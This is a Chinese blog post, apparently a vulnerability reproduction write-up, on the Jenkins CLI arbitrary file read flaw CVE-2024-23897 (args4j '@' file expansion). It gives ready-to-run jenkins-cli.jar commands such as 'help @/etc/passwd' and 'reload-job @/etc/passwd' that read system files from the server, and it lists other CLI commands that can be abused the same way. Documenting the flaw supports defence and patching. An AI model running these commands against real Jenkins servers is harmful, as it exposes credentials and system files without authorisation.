Jenkins任意文件读取漏洞(CVE-2024-23897)复现

Jenkins 有一个内置的命令行界面CLI,在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能,可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。具有Overall/Read权限的攻击者可以读取整个文件,未授权的攻击者仅能读取文件前几行内容。

1.漏洞级别

高危

2.影响范围

Jenkins <= 2.441
Jenkins <= LTS 2.426.2

3.漏洞复现

3.1 cli执行命令

漏洞利用需求执行cli命令,我们可以从官网下载jenkins-cli.jar,我也会在附件资源上放一份,有需要的可以自行下载。
执行

java -jar jenkins-cli.jar -s url -http help @/etc/passwd  #http请求
java -jar jenkins-cli.jar -s url -webSocket help @/etc/passwd  #websocket请求
java -jar jenkins-cli.jar -s url  help @/etc/passwd  #默认方式

同样的,不只有help命令能进行操作,以下这些命令也可以

help
who-am-i
keep-build
restart
shutdown
safe-shutdown
disable-job
enable-job

如果jenkins没有配置匿名用户可读权限,在未授权的情况下只能获得文件前几行。
在这里插入图片描述如果想获取全部的文件内容,则需要overall/read权限
执行

java -jar jenkins-cli.jar -s url -http help @/etc/passwd  -auth user:password

在这里插入图片描述

3.2 利用进阶

如果Jenkins开启了“匿名用户可读”选项,connect-node命令和reload-job命令可以用来读取文件全部内容:
执行

java -jar jenkins-cli.jar -s url -http reload-job @/etc/passwd

在这里插入图片描述

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-31 09:40:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-31 09:40:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-31 09:40:04       82 阅读
  4. Python语言-面向对象

    2024-01-31 09:40:04       91 阅读

热门阅读

  1. 知识笔记(一百)———什么是okhttp?

    2024-01-31 09:40:04       54 阅读
  2. C#: 导入excel文件到 dataGridView 控件

    2024-01-31 09:40:04       57 阅读
  3. 俄罗斯方块游戏设计文档(基于C语言)

    2024-01-31 09:40:04       59 阅读
  4. 头歌C语言指针进阶

    2024-01-31 09:40:04       42 阅读
  5. 洛谷p1216数字三角形

    2024-01-31 09:40:04       59 阅读
  6. 刷题09 双指针

    2024-01-31 09:40:04       59 阅读